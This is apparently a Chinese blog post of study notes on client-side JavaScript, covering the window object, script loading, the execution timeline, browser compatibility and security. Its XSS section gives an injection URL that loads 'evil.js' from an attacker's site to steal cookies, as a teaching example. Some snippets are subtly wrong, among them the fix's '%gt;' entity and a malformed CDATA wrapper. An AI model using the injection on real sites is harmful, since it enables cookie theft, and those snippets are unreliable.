张啸


世界上最快乐的事,莫过于为理想而奋斗。


JS(7) 客户端JavaScript

window对象是所有客户端JavaScript特性和API的主要接入点。它表示Web浏览器的一个窗口或窗体,并且可以用标识符window来引用它。Window对象定义了一些属性,比如,指代Location对象的location属性,Location对象指定当前显示在窗口中的url,并允许脚本往窗口里载入新的url。

1
window.location = 'http://www.oreilly.com/';

Window对象还定义了一些方法,比如alert(),可以弹出一个对话框用来显示一些信息。还有setTimeout(),可以注册一个函数,在给定的一段时间之后触发一个回调

1
2
3
setTimeout(function() {
alert('hello world');
}, 2000);

注意上面的代码并没有显式地使用window属性。在客户端JavaScript中,Window对象也是全局对象。这意味着Window对象处于作用域链的顶部,它的属性和方法实际上是全局变量和全局函数。Window对象有一个引用自身的属性,叫做window。如果需要引用窗口对象本身,可以用这个属性,但是如果只是想要引用全局窗口对象的属性,通常并不需要用到window

Window对象的其中一个最重要的属性是document,它引用Document对象,后者表示显示在窗口中的文档。Document对象有一些重要方法,比如getElementById(),可以基于元素id属性的值返回单一的文档元素(表示HTML标签的一对开始/结束标记,以及它们之间的所有内容)

1
var timestamp = document.getElementById('timestamp');

getElementById()返回的Element对象有其他重要的方法和属性,比如允许脚本获取它的内容,设置属性值等

1
2
if (timestamp.firstChild == null)
timestamp.appendChild(document.createTextNode(new Date().toString()));

WindowDocumnetElement对象上另一个重要的属性集合是事件处理程序相关的属性。可以在脚本中为之绑定一个函数,这个函数会在某个事件发生时以异步的方式调用。事件处理程序可以让JavaScript代码修改窗口、文档和元素的行为。事件处理程序的属性名是以单词“on”开始的

1
2
3
timestamp.onclick = function() {
this.innerHTML = new Date().toString();
}

Window对象的onload处理程序是最重要的事件处理程序之一。当显示在窗口中的文档内容稳定并可以操作时会触发它。JavaScript代码通常封装在onload事件处理程序里。


一、在HTML里嵌套JavaScript

在HTML文档里嵌入客户端JavaScript代码有4种方法

  • 内联,放置在<script></script>标签对之间

  • 放置在由<script>标签的src属性指定的外部文件中

  • 放置在HTML事件处理程序中,该事件处理程序由onclickonmouseover这样的HTML属性值指定

  • 放在一个URL里,这个URL使用特殊的“javascript:”协议

值得注意的是,HTML事件处理程序属性和javascript:URL这两种方式在现代JavaScript代码里已经很少使用。内联脚本(没有src)也比它们之前用的少了。有个编程哲学叫“unobtrusive JavaScript”,主张内容(HTML)和行为(JavaScript代码)应该尽量地保持分离。根据这个编程哲学,JavaScript最好通过<script>元素的src属性来嵌入HTML文档里。

1. script元素

JavaScript代码可以以内联的形式出现在HTML文件里的<script></script>标签之间

1
2
3
<script>
// javascript代码
</script>

在XHTML中,<script>标签中的内容被当作其他内容一样对待。如果JavaScript代码包含了“<”或“&”字符,那么这些字符就被解释成XML标记。因此,如果要使用XHTML,最好把所有的JavaScript代码放入到一个CDATA部分里

1
2
3
<script>![CDATA[
// javascript代码
]]</script>

使用src属性时,<script></script>标签之间的任何内容都会忽略。如果需要,可以在<script>标签之间添加代码的补充说明文档或版权信息。但是要注意,如果由任何非空格或JavaScript注释的文本出现在<script src=""></script>之间,HTML5校验器将会报错。

以下是src属性的一些优点:

  • 1) 可以把大块的JavaScript代码从HTML文件中删除,这有助于保持内容和行为的分离,从而简化HTML文件

  • 2) 如果多个Web页面共用相同的JavaScript代码,用src属性可以让我们只管理一份代码,而不用在代码改变时编辑每个HTML文件

  • 3) 如果一个JavaScript代码文件由多个页面共享,就只需要下载它一次,通过使用它的第一个页面——随后的页面可以从浏览器缓存检索它

  • 4) 由于src属性的值可以是任意的URL,因此来自一个Web服务器的JavaScript程序或Web页面可以使用由另一个Web服务器输出的代码。很多互联网广告依赖于此

  • 5) 从其他网站载入脚本的能力,可以让我们更好地利用缓存。

书签

在Web浏览器中,“书签”就是一个保存起来的URL。如果书签是javascript:URL,那么保存的就是一小段脚本,叫做bookmarkletbookmarklet是一个小型程序,很容易就可以从浏览器的菜单或工具栏里启动。bookmarklet里的代码执行起来就像页面上的脚本一样,可以查询和设置文档的内容、呈现和行为。只要书签不返回值,它就可以当作当前显示的任何文档,而不把文档替换成新的内容。

考虑下面<a>标签里的javascript:URL。单机连接会打开一个简单的JavaScript表达式计算器,它允许在页面环境中计算表达式和执行语句

1
2
3
4
5
6
7
8
9
10
11
<a href='javascript:
var e = "", r = "";
do {
e = prompt("Expression: " + e + "\n" + r + \n", e);
try { r = "Result: " + eval(e); }
catch(ex) { r = ex; }
} while(e);
void 0;
'>
JavaScript Evaluator
</a>

注意,即便这个JavaScript URL写成多行,HTML解析器仍将它作为单独的一行对待,并且其中的单行//注释也是无效的。还有,要记住代码是单引号中的HTML属性的一部分,所以代码不可以包含任何单引号。

在开发时,把这样的链接硬编码在页面中是有用的,而把它另存为可以在任何页面上运行的书签,就更有用了。通常,在浏览器里把超链接的地址加入书签可以这样做,在链接上右击并选择类似“Bookmark Link”的选项,或者拖动链接到书签工具栏。

bookmarklet里的javascript存在于文档之外,可以想象成是一种用户扩展或者对于其他程序的修改。


二、JavaScript程序的执行

JavaScript程序的执行有两个阶段。在第一阶段,载入文档内容,并执行<script>元素里的代码(包括内联脚本和外部脚本)。脚本通常会按照它们在文档里出现的顺序执行。所有脚本里的JavaScript代码都是从上往下,按照它在条件、循环以及其他控制语句中的出现顺序执行。

当文档再入完成,并且所有脚本执行完成后,JavaScript执行就进入它的第二阶段,这个阶段是异步的,而且由事件驱动的。在事件驱动阶段,Web浏览器调用事件处理程序函数(由第一阶段里执行的脚本指定的HTML事件处理程序,或之前调用的事件处理程序来定义),来响应异步发生的事件。调用事件处理程序通常是响应用户输入。但是,还可以由网络活动、运行时间或JavaScript代码中的错误来触发。

事件驱动阶段里发生的第一个事件是load事件,指示文档已经完全载入,并可以操作。JavaScript程序里经常用这个事件来触发或发送消息。我们会经常看到一些定义函数的脚本程序,除了定义一个onload事件处理程序函数外不做其他操作,这个函数会在脚本事件驱动阶段开始时被load事件触发。正式这个onload事件会对文档进行操作,并做程序想做的任何事。在文档载入完成之后,只要Web浏览器显示文档,事件驱动阶段就会一直持续下去。

核心JavaScript和客户端JavaScript都有一个单线程执行模型。脚本和事件处理程序在同一时间只能执行一个,没有并发性。

1. 同步、异步和延迟的脚本

JavaScript第一次添加到Web浏览器时,还没有API可以用来遍历和操作文档的结构和内容。当文档还在载入时,JavaScript影响文档内容的唯一方法是快速生成内容。它使用document.write()方法完成上述任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<h1>Table of Factorials</h1>
<script>
function factorial(n) {
if (n <= 1) return n;
else return n * factorial(n - 1);
}

document.write('<table>');
document.write('<tr><th>n</th><th>n!</th></tr>');
for (var i = 1; i <= 10; i++) {
document.write('<tr><td>' + i + '</td><td>' + factorial(i) + '</td></tr>');
}
document.write('</table>');
document.write('Generate at ' + new Date());
</script>

当HTML解析器遇到<script>元素时,它默认必须先执行脚本,然后再恢复文档的解析和渲染。这对于内联脚本没什么问题,但如果脚本源代码是由一个src属性指定的外部文件,这意味着脚本后面的文档部分在下载和执行脚本之前,都不会出现在浏览器中。

脚本的执行只在默认情况下是同步和阻塞的。<script>标签可以有deferasync属性,这可以改变脚本的执行方式。这些都是布尔属性、没有值;只需要出现在<script>标签里即可。HTML5说这些属性只在和src属性联合使用时才有效,有些浏览器还支持延迟的内联脚本

1
2
<script defer src="deferred.js"></script>
<script async src="async.js"></script>

deferasync属性都像在告诉浏览器链接进来的脚本不会使用document.write(),也不会生成文档内容,因此浏览器可以在下载脚本时继续解析和渲染文档。defer属性使得浏览器延迟脚本的执行,直到文档的载入和解析完成,并可以操作。async属性使得浏览器可以尽快地执行脚本,而不用在下载脚本时阻塞文档解析。如果<script>标签同时有两个属性,同时支持两者的浏览器会遵守async属性并忽略defer属性。

注意,延迟的脚本会按照它们在文档里的出现顺序执行,而异步脚本在它们载入后执行,这意味着它们可能会无序执行。

甚至可以在不支持async属性的浏览器里,通过动态创建<script>元素并把它插入到文档中,来实现脚本的异步载入和执行。

1
2
3
4
5
6
function loadasync(url) {
var head = document.getElementsByTagName('head')[0];
var s = document.createElement('script');
s.src = url;
head.appendChild(s);
}

2. 事件驱动的JavaScript

对于大部分浏览器中的大部分事件来说,会把一个对象传递给事件处理程序作为参数,那个对象的属性提供了事件的详细信息。比如,传递给单击事件的对象,会有一个属性说明鼠标的哪个按钮被单击。(在IE里,这些事件信息被存储在全局event对象里,而不是传递给处理程序函数。)事件处理程序的返回值有时用来指示函数是否充分处理了事件,以及阻止浏览器执行它默认会进行的各种操作。

有些事件的目标是文档元素,它们会经常往上传递给文档树,这个过程叫做“冒泡”。例如,如果用户在<button>元素上单击鼠标,单击事件就会在按钮上触发。如果注册在按钮上的函数没有处理(并且冒泡停止)该事件,事件会冒泡到按钮嵌套的容器元素,这样,任何注册在容器元素上的单击事件都会调用。

大部分可以成为事件目标的对象都有一个叫做addEventListener()的方法,而微软只在IE9及以上实现了它,在IE8及以前的浏览器中,必须使用一个相似的方法,叫attachEvent()

客户端JavaScript程序还使用异步通知类型,这些类型往往不是事件。如果设置Window对象的onerror属性为一个函数,会在发生JavaScript错误(或其他未捕获的异常)时调用函数。

3. 客户端JavaScript线程模型

JavaScript语言核心并不包含任何线程机制,并且客户端JavaScript传统上也没有定义任何线程机制。HTML5定义了一种作为后台线程的“Web Worker”,但是客户端JavaScript还像严格的单线程一样工作。甚至当可能并发执行的时候,客户端JavaScript也不会知晓是否真的有并行逻辑的执行。

单线程执行是为了让编程更加简单。编写代码时可以确保两个事件处理程序不会同一时刻运行,操作文档内容时也不必担心会有其他线程试图同时修改文档,并且永远不需要在写JavaScript代码时担心锁、死锁和竞态条件(race condition)。

单线程执行意味着浏览器必须在脚本和事件句处理程序执行的时候停止响应用户输入。这位JavaScript开发者带来了负担,它意味着JavaScript脚本和事件处理程序不能运行太长时间。如果一个脚本执行计算密集的任务,它将会给文档载入带来延迟,而用户无法在脚本完成前看到文档内容。如果事件处理程序执行计算密集的任务,浏览器可能变得无法响应,可能会导致用户认为浏览器崩溃了。

如果应用程序不得不执行太多的计算而导致明显的延迟,应该允许文档在执行这个计算之前完全载入,并确保能够告知用户计算正在进行并且浏览器没有挂起。如果可能将计算分解为离散的子任务,可以使用setTimeout()setInterval()方法在后台运行子任务,同时更新一个进度指示器向用户显示反馈。

HTML5定义了一种并发的控制方式,叫做“Web Worker”。Web Worker是一个用来执行计算密集任务而不冻结用户界面的后台线程。运行在Web Worker线程里的代码不能访问文档内容,不能和主线程或者其他worker共享状态,只可以和主线程和其他worker通过异步事件进行通信,所以主线程不能检测并发性,并且Web Worker不能修改JavaScript程序的基础单线程执行模型。

4. 客户端JavaScript时间线

本节更详细地解释JavaScript程序执行的时间线

  • 1) Web浏览器创建Document对象,并且开始解析Web页面,解析HTML元素和它们的文本内容后添加Element对象和Text节点到文档中。在这个阶段document.readyState属性的值是“loading”。

  • 2) 当HTML解析器遇到没有asyncdefer属性的<script>元素时,它把这些元素添加到文档中,然后执行行内或外部脚本。这些脚本会同步执行,并且在脚本下载(如果需要)和执行时解析器会暂停。这样脚本就可以用document.write()来吧文本插入到输入流中。解析器恢复时这些文本会成为文档的一部分。同步脚本经常简单定义函数和注册后面使用的注册事件处理程序,但它们可以遍历和操作文档树,因为它们执行时已经存在了。这样,同步脚本可以看到它字迹的<script>元素和它们之前的文档内容。

  • 3) 当解析器遇到设置了async属性的<script>元素时,它开始下载脚本文件,并继续解析文档。脚本会在它下载完成后尽快执行,但是解析器没有停下来等它下载。异步脚本禁止使用document.write()方法。它们可以看到自己的<script>元素和它之前的所有文档元素,并且可能或干脆不可能访问其他的文档内容。

  • 4) 当文档完成解析,document.readyState属性变成“interactive”。

  • 5) 所有有defer属性的脚本,会按它们在文档里的出现顺序执行。异步脚本可能也会在这个事件执行。延迟脚本能访问完整的文档树,禁止使用document.write()方法。

  • 6) 浏览器在Document对象上触发DOMContentLoaded事件。这标志着程序执行从同步脚本执行阶段转换到了异步事件驱动阶段。但要注意,这时可能还有异步脚本没有执行完成。

  • 7) 这时,文档已经完全解析完成,但是浏览器可能还在等待其他内容载入,比如图片。当所有这些内容完成载入时,并且所有异步脚本完成载入和执行,document.readyState变为“complete”,Web浏览器触发Window对象上的load事件。

  • 8) 从此刻起,会调用异步事件,以异步响应用户输入事件、网络事件、计时器过期等。

这是一条理想的时间线,但是有所浏览器都没有支持它的全部细节。所有浏览器普遍都支持load事件,都会触发它,它时决定文档完全载入并可以操作最通用的技术。DOMContentLoaded事件在load事件之前触发,当前所有浏览器都支持这个事件,但是属性的值在浏览器之间由细微的差别。

这条时间线没有指定什么时候文档开始对用户可见或什么时候Web浏览器必须开始响应用户输入事件。这些是实现细节,对于很长的文档或非常慢的网络连接,Web浏览器理论上会渲染一部分文档,并且在所有脚本执行之前,就能允许用户开始和页面产生一些交互。这种情况下,用户输入事件可能在程序执行的事件驱动阶段开始之前触发。


三、兼容性和互用性

Web浏览器是Web应用的操作系统,但是Web是一个存在各种差异的环境,Web文档和应用会在不同操作系统的不同开发商的不同时代的浏览器上查看和运行。写一个健壮的客户端JavaScript程序并能正确地运行在这么多类型的平台上,的确是一种挑战。

客户端JavaScript兼容性和交互性的问题可以归纳为三类:

  • 演化

    Web平台一直在演变和发展当中。一个标准规范会倡导一个新的特性或API。如果特性看起来有用,浏览器开发商实现它。如果足够多的开发商实现它,开发者开始试用这个特性,并依赖于这个特性,然后这个特性就在Web平台中广泛使用。有时候浏览器开发商和Web开发者引领这种标准规范的指定,开发好官方的版本,之前该特性已经成为一个事实的标准。另一种情况,新特性已经被添加到Web中,新浏览器支持它但是老浏览器不支持。Web开发者必须在使用老浏览器的大量用户和使用新式浏览器的少量用户之间做出权衡。

  • 未实现

    有时候,浏览器开发商之间对于某一个特性是否足够由用到要实现存在观点上的差异。一些开发商实现了这个特性,而其他的没有实现。有些现代浏览器实现的功能在老旧浏览器中没实现,这种情况还好,但同样实现一个功能在不同浏览器中有很大差别,例如,IE8不支持<canvas>元素,虽然所有其他浏览器已经实现了它。

  • bug

    每个浏览器都有bug,并且没有按照规范准确地实现所有的客户端JavaScript API。有时候编写能兼容各个浏览器的JavaScript程序是一个糟透了的工作,必须研究已有浏览器中的各种bug。

HTML5标准化的努力的目标是最终产生一个测试套件,这必定会给浏览器兼容性领域留下一些宝贵的财富。

1. 处理兼容性问题的类库

处理不兼容问题其中最简单的方法时使用类库。在实际的开发工作中,今天不少Web开发者在它们所有的Web页面上用了客户端JavaScript框架,比如jQuery。使这些框架必不可少的一个重要功能是:它们定义了新的客户端API并兼容所有浏览器。例如,在jQuery里,事件处理程序的注册是通过叫bind()的方法完成的。如果基于jQuery做所有的Web开发,就永远不需要考虑addEventListener()attachEvent()之间的不兼容性问题。

2. 分级浏览器支持

分级浏览器(graded browser support)是由Yahoo!率先提出的一种测试技术。从某种维度对浏览器厂商/版本/操作系统变体进行分级。分级浏览器中的A级要通过所有的功能测试用例。对于C级浏览器来说则不必所有用例都通过测试。A级浏览器需要网页完全可用,C级浏览器只需在HTML完整情况下可用即可,而不需要JavaScript和CSS都正常工作。那些不是A级和C级的浏览器都称作X级浏览器:这部分都是全新的浏览器或者太罕见的浏览器。我们默认在这些浏览器中都是网页完全可用的,但官方并不会对X级浏览器中的功能提供完整支持和测试。

3. 功能测试

功能测试(capability testing)是解决不兼容性问题的一种强大技术。如果我们想试用某个功能,但又不清楚这个功能是否在所有的浏览器中都有比较好的兼容性,则需要在脚本中添加相应的代码来检测是否在浏览器中支持该功能。如果期望使用的功能还没有被当前的平台所支持,要么不在该平台中使用它,要么提供可在所有平台上运行的代码。

1
2
3
4
5
6
7
8
9
10
11
12
if (element.addEventListener) {
// 使用w3c方法之前检测是否可用
element.addEventListener('keydown', handler, false);
element.addEventListener('keypress', handler, false);
} else if (element.attachEvent) {
// 在使用IE方法之前首先检测是否可用
element.attachEvent('onkeydown', handler);
element.attachEvent('onkeypress', handler);
} else {
// 否则,选择普遍支持的技术
element.onkeydown = element.onkeypress = handler;
}

关于功能测试最重要的是,它并不涉及浏览器开发商和浏览器的版本号。代码在当前的浏览器集合中有效,在浏览器的后续版本中也同样有效,而不管后续的浏览器是否实现了这些功能的集合。但要注意的是,这种方法需要测试某个属性或方法是否在浏览器中已经定义了,除非该属性或方法完全可用。如果Microsoft要定义一个addEventListener()方法,但Microsoft只是实现了一部分w3c规范,在调用addEventListener()之前这将会给使用特性测试的代码带来很多麻烦。

4. 怪异模式和标准模式

Microsoft在发布IE6的时候,增加了IE5里没有的很多CSS标准特性。但为了确保与现有的Web内容的后向兼容性,它定义了两种不同的渲染模式。在“标准模式”或“CSS兼容模式”中,浏览器要遵循CSS标准,在“怪异模式”中,浏览器表现的和IE4和IE5中的怪异非标准模式一样。渲染模式的选择依赖于HTML文件顶部的DOCTYPE声明,在IE6中打开没有DOCTYPE的页面和声明了某些权限Doctype的页面都会按照怪异模式进行渲染,定义了严格的Doctype的页面会按照标准模式进行渲染,定义了HTML5 Doctype(<!DOCTYPE html>)的页面在所有现代浏览器中都会按照标准模式渲染。

怪异模式和标准模式之间的差别经历了很长时间的发展历程,现在新版本的IE都支持标准模式,其他主流浏览器也都支持标准模式。这两种模式都已经被HTML5规范所认可。怪异模式和标准模式之间的差异对于HTML和CSS开发者影响最大。但客户端JavaScript代码则是需要知道文档以哪种模式进行渲染的。要进行这种渲染模式的特性检测,通常检查document.compatMode属性。如果其值为“CSS1Compat”,则说明浏览器工作在标准模式;如果值为“BackCompat”(或undefined,说明属性根本不存在),则说明浏览器工作在怪异模式。所有现代浏览器都实现了compatMode属性,并且HTML5规范对它进行了标准化。

5. 浏览器测试

功能测试非常适用于大型功能领域的支持,比如可以使用这种方法来确定浏览器是否支持w3c事件处理模型还是IE的事件处理模型。另外,有时候可能会需要在某种浏览器中解决个别的bug或难题,但却没有太好的方法来检测bug的存在性。在这种情况下,需要创建一个针对某个平台的解决方案,这个解决方案和特定的浏览器厂商、版本或操作系统(或三方面的组合)联系紧密。

在客户端JavaScript中检测浏览器类型和版本的方法就是使用Navigator对象,确定当前浏览器的厂商和版本的代码通常叫做浏览器嗅探器(browser sniffer)或者客户端嗅探器(client sniffer)。在Web早期,当Netscape和IE平台两者互不兼容的时候,客户端嗅探(client sniffering)就是一种常见的客户端编程技术,现在兼容性情况已经基本稳定,浏览器嗅探不像若干年前这样常用,但偶尔有些场景还会用到。

需要注意的是,客户端嗅探也可以在服务器端完成,Web服务器根据User-Agent头部可以有选择地返回特定的JavaScript代码给客户端。

6. Internet Explorer里的条件注释

实际上,读者会发现客户端JavaScript编程中的很多不兼容性都是针对IE的。也就是说,必须按照某种方式为IE编写代码,而按照另一种方式为其他的浏览器编写代码。IE支持条件注释(IE5引入),尽管这种做法并不符合标准规范,但是在处理不兼容性时非常有用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--[if IE 6]>
This content is actually inside an HTML comment.
It will only be displayed in IE 6.
<![endif]-->

<!--[if lte IE 7]>
This content will only be displayed by IE 5, 6 and 7 and earlier.
lte stands for 'less than or equal'. You can also use 'lt', 'gt' and 'gte'.
<![endif]-->

<!--[if !IE]><-->
This is normal HTML content, but IE will not display it.
Because of the comment above and the comment below.
<!--><![endif]-->

This is normal content, displayed by all browsers.

IE的JavaScript解释器也支持条件注释,C和C++程序员可能觉得它们和C预处理器的#ifdef/#endif功能很相似。IE中的JavaScript条件注释以文本/*@cc_on开头,以文本@*/结束(cc_on stands中的cc表示条件编译)。下面的条件注释包含了只在IE中执行的代码

1
2
3
4
5
6
/*@cc_on
@if (@_jscript)
// 该代码位于一条JS注释内但在IE中执行它
alert("In IE");
@end
@*/

在一条条件注释内部,关键字@if@else@end划分出哪些是要被IE的JavaScript解释器有条件地执行的代码。大多数时候,只需要上面所示的简单的条件:@if(@_jscript)。JScript是Microsoft字迹的JavaScript解释器的名字,而@_jscript变量在IE中总是为true。

通过条件注释和常规的JavaScript注释的合理的交叉组合,可以设置在IE中运行一段代码而在所有其他浏览器中运行另一段不同的代码

1
2
3
4
5
6
7
8
9
10
11
/*@cc_on
@if (@_jscript)
// 这里的代码在一条条件注释中,也在一条常规的JavaScript注释中
// IE会执行这段代码,其他浏览器不执行它
alert('You are using Internet Explorer');
@else*/
// 这段代码并没在JavaScript注释中,但仍然在IE条件注释中
// 也就是说除了IE之外的所有浏览器都执行这里的代码
alert('You are not using Internet Explorer');
/*@end
@*/

四、可访问性

Web是发布信息的理想工具,而JavaScript程序可以增强对信息的访问。然而,因为程序员写代码太过随意,以至于那些有视觉障碍或者肢体困难的用户没办法正确地获取信息。

盲人用户使用一种叫做屏幕阅读器的“辅助性技术”将书面的文字变成语音词汇。有些屏幕阅读器是识别JavaScript的,而另一些只能在禁用JavaScript时才会工作得更好。如果站点过于依赖JavaScript来呈现数据的话,就会把那些使用读屏软件的用户拒之门外。JavaScript可访问性的一条重要原则是,设计的代码即使在禁用JavaScript解释器的浏览器中也能正常使用(或至少以某种形式正常使用)。

可访问性关心的另一个重要的问题是,对于那些只使用键盘但不能使用鼠标的用户来说,如果编写的JavaScript代码依赖于特定的鼠标事件,这就会将那些不使用鼠标的用户排除在外。Web浏览器允许使用键盘来遍历和激活一个Web页面中的UI元素。并且JavaScript代码也应该允许这样做。


五、安全性

Web浏览器中包含JavaScript解释器,也就是说,一旦载入Web页面,就可以让任意的JavaScript代码在计算机里执行。很明显,这里存在着安全隐患,浏览器厂商也在不断地权衡下面这两个方面之间的博弈:

  • 定义强大的客户端API,启用强大的Web应用

  • 阻止恶意代码读取或修改数据、盗取隐私、诈骗或浪费时间

在标准化HTML5的进程中,浏览器厂商会小心掂量某个长期存在的安全限制,并且在不引入新的安全漏洞的基础上给客户端JavaScript添加少量的功能。

1. JavaScript不能做什么

Web浏览器针对恶意代码的第一条防线就是它们不支持某些功能。

  • 客户端JavaScript没有权限来写入或删除客户计算机上的任意文件或列出任意目录。

  • 客户端JavaScript没有任何通用的网络能力。

浏览器针对恶意代码的第二条防线是在自己支持的某些功能上施加限制。

  • JavaScript程序可以打开一个新的浏览器窗口,但是为了防止广告商滥用弹出窗口,很多浏览器限制了这一功能,使得只有为了响应鼠标单击这样的用户触发事件的时候,才能使用它。

  • JavaScript程序可以关闭自己打开的浏览器窗口,但是不允许它不经过用户确认就关闭其他的窗口。

  • HTML FileUpload元素的value属性是只读的。如果可以设置这个属性,脚本就能设置它为任意期望的文件名,从而导致表单上传指定文件的内容到服务器。

  • 脚本不能读取从不同服务器载入的文档的内容,除非这个就是包含该脚本的文档。类似地,一个脚本不能在来自不同服务器的文档上注册事件监听器。这就防止脚本窃取其他页面的用户输入。这一限制叫做同源策略(same-origin policy)。

2. 同源策略

同源策略是对JavaScript代码能够操作哪些Web内容的一条完整的安全限制。当Web页面使用多个<iframe>元素或者打开其他浏览器窗口的时候,这一策略通常就会发挥作用。在这种情况下,同源策略负责管理窗口或窗体中的JavaScript代码以及和其它窗口或帧的交互。具体来说,脚本只能读取和所属文档相同的窗口和文档的属性。

文档的来源包含协议、主机,以及载入文档的URL端口。从不同Web服务器载入的文档具有不同的来源。通过同一主机的不同端口载入的文档具有不同的来源。使用http:协议载入的文档和使用https:协议载入的文档具有不同的来源,即使它们来自同一个服务器。

脚本本身的来源和同源策略并不相关,相关的是脚本所嵌入的文档的来源,理解这一点很重要。例如,假设一个来自主机A的脚本被包含到(使用<script>标记的src属性)宿主B的一个Web网页中。这个脚本的来源是主机B,并且可以完整地访问包含它的文档的内容。如果脚本打开一个新窗口并载入来自主机B的另一个文档,脚本对这个文档的内容也具有完全的访问权限。但是,如果脚本打开第三个窗口并载入一个来自主机C的文档(或者是来自主机A),同源策略就会发挥作用,阻止脚本访问这个文档。

实际上,同源策略并非应用于不同源的窗口中的所有对象的所有属性。不过它应用到了其中的大多数属性,尤其是对Document对象的几乎所有属性而言。凡是包含另一个服务器中文档的窗口或窗体,都是同源策略适用的范围。如果脚本打开一个窗口,脚本也可以关闭它,但不能以任何方式查看窗口内部。同源策略还应用于使用XMLHttpRequest生成的HTTP请求。这个对象允许客户端JavaScript生成任意的HTTP请求到脚本所属文档的Web服务器,但是不允许脚本和其他Web服务器通信。

3. 不严格的同源策略

在某些情况下,同源策略就显得太过严格了。本节会介绍三种不严格的同源策略。

同源策略给那些使用多个子域的大站点带来了一些问题。例如,来自home.example.com的文档里的脚本想要合法地读取从developer.example.com载入的文档的属性,或者来自orders.example.com的脚本可能需要读catalog.example.com上的文档的属性。为了支持这种类型的多域名站点,可以使用Document对象的domain属性。在默认情况下,属性domain存放的是载入文档的服务器的主机名。可以设置这一属性,不过使用的字符串必须是具有有效的域前缀或它本身。因此,如果一个domain属性的初始值是字符串“home.example.com”,就可以把它设置为字符串“example.com”,但是不能设置为“home.example”或“ample.com”。另外,domain值中必须有一个点号,不能把它设置为“com”或其他顶级域名。

如果两个窗口包含的脚本把domain设置成了相同的值,那么这两个窗口就不再受同源策略的约束,它们可以相互读取对方的属性。例如,从order.example.comcatalog.example.com载入的文档中的脚本可以把它们的document.domain属性都设置为“example.com”,这样一来,这些文档就有了同源性,可以相互读取属性。

不严格的同源策略的第二项技术已经标准化为:跨域资源共享(Cross-Origin Resource Sharing)。这个标准草案用新的“Origin:”请求头和新的Access-Control-Allow-Origin响应头来扩展HTTP。它允许服务器用头信息显式地列出源,或使用通配符来匹配所有的源并允许由任何地址请求文件。

另一种新技术,叫做跨文档消息(cross-document messaging),允许来自一个文档的脚本可以传递文本消息到另一个文档里的脚本,而不管脚本的来源是否不同。调用Window对象上的postMessage()方法,可以异步传递消息事件(可以用onmessage事件处理函数处理它)到窗口的文档里。一个文档里的脚本还是不能调用在其他文档里的方法和读取属性,但它们可以用这种消息传递技术来实现安全的通信。

4. 脚本化插件和ActiveX控件

尽管核心JavaScript语言和基本的客户端对象模型缺乏大多数恶意代码所需要的文件系统功能和网络功能,但情况并不像看上去那么简单。在很多Web浏览器中,JavaScript亦被用作很多软件或插件的“脚本引擎”,这样的组件由IE中的ActiveX控件和其他浏览器的插件。Flash和Java插件是最常安装的例子,它们为客户端脚本提供了非常重要且强大的特性。

脚本化ActiveX控件和插件的能力也存在着安全性的问题。例如,Java applet具有访问底层网络的能力。Java安全“沙箱”阻止applet和载入它的服务器之外的任何服务器进行通信,因此,这并未打开一个安全漏洞。但是,它暴露了一个根本问题:如果插件是可以脚本化的,我们不仅要无条件相信Web浏览器的安全架构,还要相信插件的安全架构。实际上,Java和Flash插件看上去具有健壮的安全性,并且不会为客户端JavaScript引来安全问题。然而,ActiveX脚本化有着更加糟糕的历史遗留问题。IE浏览器已经能够访问各种各样的脚本化ActiveX控件,而这些控件是Windows操作系统的一部分,并且在过去,操作系统还存在很多可被控件利用的安全漏洞。

5. 跨站脚本

跨站脚本(Cross-site scripting),或者叫做XSS,这个术语用来表示一类安全问题,也就是攻击者向目标Web站点注入HTML标签或者脚本。防止XSS攻击是服务器端Web开发者的一项基本工作。然而,客户端JavaScript程序员也必须意识到或者能够预防跨站脚本。

如果Web页面动态地产生文档内容,并且这些文档内容是基于用户提交的数据的,而并没有通过从中移除任何嵌入的HTML标签来“消毒”的话,那么这个Web页面很容易遭到跨站脚本攻击。来看一个小例子,考虑如下的Web页面,它使用JavaScript通过用户的名字来向用户问好

1
2
3
4
<script>
var name = decodeURIComponent(window.location.search.substring(1)) || '';
document.write('Hello ' + name);
</script>

这两行脚本使用window.location.search来获得它们自己的URL中以“?”开始的部分。它使用document.write()来向文档添加动态生成的内容。这个页面专门通过如下的一个URL来调用

1
http://www.example.com/greet.html?David

这么使用的时候,它会显示文本“Hello David”。但考虑以下,当用下面的URL来调用它,会发生什么情况

1
2
<!-- %3C和%3E是尖括号的编码 --> 
http://www.example.com/greet.html?%3Cscript%3Ealert('David')%3C/script%3E

只用这个URL,脚本会动态生成另一个脚本。在这个例子中,注入的脚本只显示一个对话框,这还是相对较好的情况。但是,如果考虑以下的情况

1
http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

之所以叫做跨站脚本攻击,就是因为它涉及多个站点。站点B(或者站点C)包含一个专门构造的到站点A的链接,它会注入一个来自站点B的脚本。脚本eval.js驻留在恶意站点B中,但现在,它嵌入到站点A中,并且可以对站点A的内容进行任何想要的操作。它可能损坏这个页面或者使其不能正常工作。这可能会对站点A的用户带来不少坏处。更危险的是,恶意脚本可以读取A所存储的cookie(可能是统计数据或者其他的个人验证信息),然后把数据发送回站点B。注入的脚本甚至可以诱骗用户击键并将数据发送回站点B。

通常,防止XSS攻击的方式是,在使用任何不可信的数据来动态创建文档内容之前,从中移除HTML标签。可以通过添加如下一行代码来移除尖括号,从而修复前面给出的greet.html文件

1
name = name.replace(/</g, '&lt;').replace(/>/g, '%gt;');

HTML5的内容安全策略则更进一步,它为<iframe>元素定义了一个sandbox属性。在实现之后,它允许显示不可信的内容,并自动禁用脚本。

6. 拒绝服务攻击

这里描述的同源策略和其他的安全限制可以很好地预防恶意代码毁坏数据或者防止侵犯隐私这种问题。然而,它们并不能防止另外一种攻击:拒绝服务攻击,这种攻击手法非常暴利。如果访问了启用JavaScript功能的一个恶意Web站点,这个站点可以使用一个alert()对话框的无限循环占用浏览器,或者用一个无限循环或没有意义的计算来占用CPU。

某些浏览器可以检测运行时间很长的脚本,并且让用户选择终止它们。但是恶意脚本可以使用window.setInterval()这样的方法来占用CPU,并通过分配很多的内存来攻击你的系统。Web浏览器并没有通用的方法来防止这种笨重的攻击手法。实际上,由于没有人会返回一个滥用这种脚本的网站,因此这在Web上不是一个常见的问题。


六、客户端框架

